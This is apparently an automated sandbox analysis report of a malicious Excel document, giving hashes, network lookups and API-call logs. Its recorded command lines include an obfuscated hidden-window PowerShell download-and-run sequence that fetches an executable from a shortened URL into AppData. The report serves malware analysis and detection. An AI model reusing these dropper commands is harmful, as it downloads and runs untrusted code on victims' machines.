popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

9e227b07643afd3444c4d30f0c47c3cf.xls

Antivirus
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 April 6, 2021, 5:59 p.m. April 6, 2021, 6:01 p.m.
Size 56.5KB
Type Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Last Saved By: Alexis UZAN, Create Time/Date: Sun Sep 20 21:17:44 2020, Last Saved Time/Date: Tue Sep 22 19:16:56 2020, Security: 1
MD5 9e227b07643afd3444c4d30f0c47c3cf
SHA256 d3345db33851543b968f728d2a342c49dc72b0dc633da851518d8585e53af3ce
CRC32 62802116
ssdeep 1536:1XnSGiysRchNXHfA1MiWhZFGkEld+Dr7OnkdyYWptOr5TwjJ1t:1XnSGiysRchNXHfA1MiWhZFGkEld+DrS
Yara
  • Microsoft_Office_Document_Zero - Microsoft Office Document Signature Zero

Name Response Post-Analysis Lookup
tinyurl.com
A 172.67.1.225
A 104.20.139.65
A 104.20.138.65
104.20.139.65
IP Address Status Action
104.20.138.65 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Start-Process : This command cannot be executed due to the error: This version
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: of %1 is not compatible with the version of Windows you're running. Check your
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: computer's system information to see whether you need a x86 (32-bit) or x64 (64
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: -bit) version of the program, and then contact the software publisher.
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: At line:1 char:33
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: + Start-Sleep 12; sTArt-`P`R`ocess <<<< $env:appdata\re.exe
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (:) [Start-Process], InvalidOp
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: erationException
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.C
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: ommands.StartProcessCommand
console_handle: 0x0000008f
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea560
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eab20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eab20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eab20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eae60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eae60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eae60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eae60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eae60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eae60
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea9e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eab20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eab20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eab20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea620
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eab20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eab20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eab20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eab20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eab20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eab20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004eab20
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea1e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea6e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x004ea6e0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e30f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e3270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e3270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e3270
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005e34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET https://tinyurl.com/y3psaqmm
suspicious_features GET method with no useragent header suspicious_request GET https://tinyurl.com/app/nospam/tinyurl.com/y3psaqmm/terminated
request GET https://tinyurl.com/y3psaqmm
request GET https://tinyurl.com/app/nospam/tinyurl.com/y3psaqmm/terminated
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 1016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6dce1000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6dd3f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6dd3f000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6dc81000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 1507328
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02920000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2932
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6d631000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01faa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2932
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6d632000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fa2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a51000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a52000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fda000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026cb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fd2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026c5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fdc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x028c0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fb6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026cc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fd3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fd4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fd5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fd6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fd7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fd8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x01fd9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02ab9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02aba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02abb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02abc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02abd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02abe000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02abf000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2932
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Roaming\re.exe
file C:\Users\test22\Documents\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline powershell -w 1 Start-Sleep 12; sTArt-`P`R`ocess $env:appdata\re.exe
cmdline powershell -w 1 (New-Object Net.WebClient).DownloadFile('https://tinyurl.com/y3psaqmm',($env:appdata + '\re.exe'))
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received W`l"ð·7%9Qm9tJ“ôr–å;â&sDOWNGRD Â:KÿJ¶>h<L—üÂôš)6Âzr…¹ ³³ö/KÀÿ 
Data received  û
Data received ÷ ôR0‚N0‚6 @I U2Òñÿ¶ÒÉ8Bª0  *†H†÷  0J1 0 UUS10U Cloudflare, Inc.1 0UCloudflare Inc RSA CA-20 200803000000Z 210803120000Z0m1 0 UUS1 0 UCA10U San Francisco10U Cloudflare, Inc.10Usni.cloudflaressl.com0‚"0  *†H†÷ ‚0‚ ‚ô"6¢\¼üBdY ûŽQރ`ÃxWf]_žäᏼǚ‘ˆYQ쟇V0jG^AåùÂȱºÞÈx^(ôÜPÏ|ó¿´wö âBiûbšU‘ÅbšBY(ë%k¡û ÕˆO_¬ƒiú³€Û*N4Ý)Ý÷ᑥ¢©úoÏ)]‰(‹KÕ`QÀTñÑg}WL)•ˆžm.»ÜÁʔt„¼T[…u®•€ÔcÝô)&ÅTj—²®4²èš䥍+áP«”ÏƽûÃx«2Líó—}ŖpXðVdØeQ8Ÿ#Óä%[j€åûï$AhY1ÿ_¼e?žXí£‚ 0‚0U#0€©ü²EIÁo04+هœ°%Wz0UŽcó{F¥Kvԍ ØäCZ‰·0<U503‚sni.cloudflaressl.com‚ *.tinyurl.com‚ tinyurl.com0Uÿ 0U%0++0{Ut0r07 5 3†1http://crl3.digicert.com/CloudflareIncRSACA-2.crl07 5 3†1http://crl4.digicert.com/CloudflareIncRSACA-2.crl0LU E0C07 `†H†ýl0*0(+https://www.digicert.com/CPS0g 0v+j0h0$+0†http://ocsp.digicert.com0@+0†4http://cacerts.digicert.com/CloudflareIncRSACA-2.crt0 Uÿ00‚ +Öyöóñwö\”/Ñw0"T0”VŽãM3¿ß / ÌNñdãs±·˜5H0F!²Sç'À©ßÕ~…KÊWc¡¸ÉhZðÁ !tIn!ÀfB ¢úý †X|@ÍÛn_É*Ö÷›ŒbN-}ÓH–5v\ÜC’þæ«ED±^šÔVæ7ûÕúGÜ¡s”²^æöÇÊs±·˜eG0E ]{qGl4°m‡ÍTíAü4Ìì30¬D­ZÉtO!̚‡ø¼?ÍÁAU<4Ê;#|¡—ë.ÿ5Öî0Ï 0  *†H†÷  ‚ yî7Þ µßÏ`^4(!ˁ_‹M–÷.púXz EL†Lâ@I;¨ºY ‰Àj RtëÄ(Šg&V¦Xb4‰çGUmÇå’ÙàaªÑèŒZ»ñs>)2|›vZ:Øð0ÙJ¢ÈŠoXórBZÕô⳨]†§Õ>>f ÿcÖ¯Þ Ã9`çÂ~Š…y4üEÏ#û+ᕀ=¿\÷f¹é¿L8$¡$ß¹¹ã­&¢Í$Š˜ ?ú¥m³¹ª¿SY>’jÏ"¯N}’‘ž~]lm݊†¯²`&ŸV#ôt¡çZ+tÖ¡ ª(ø $A `ësÿ&Ž!œ0‚˜0‚€ ؚsó³¸Ú[X8˜)0  *†H†÷  0Z1 0 UIE10U  Baltimore10U  CyberTrust1"0 UBaltimore CyberTrust Root0 200127124639Z 241231235959Z0J1 0 UUS10U Cloudflare, Inc.1 0UCloudflare Inc RSA CA-20‚"0  *†H†÷ ‚0‚ ‚µ]&È «±3] ²–Â1N~_‡Æo€$íÚ®¾ç€÷ÅÏTf8(èæi»ø1jVõèÁ¥èYè³à:a(°~Í ýÎ7Ã驍 Éxʦ`F€¯t-OÚè 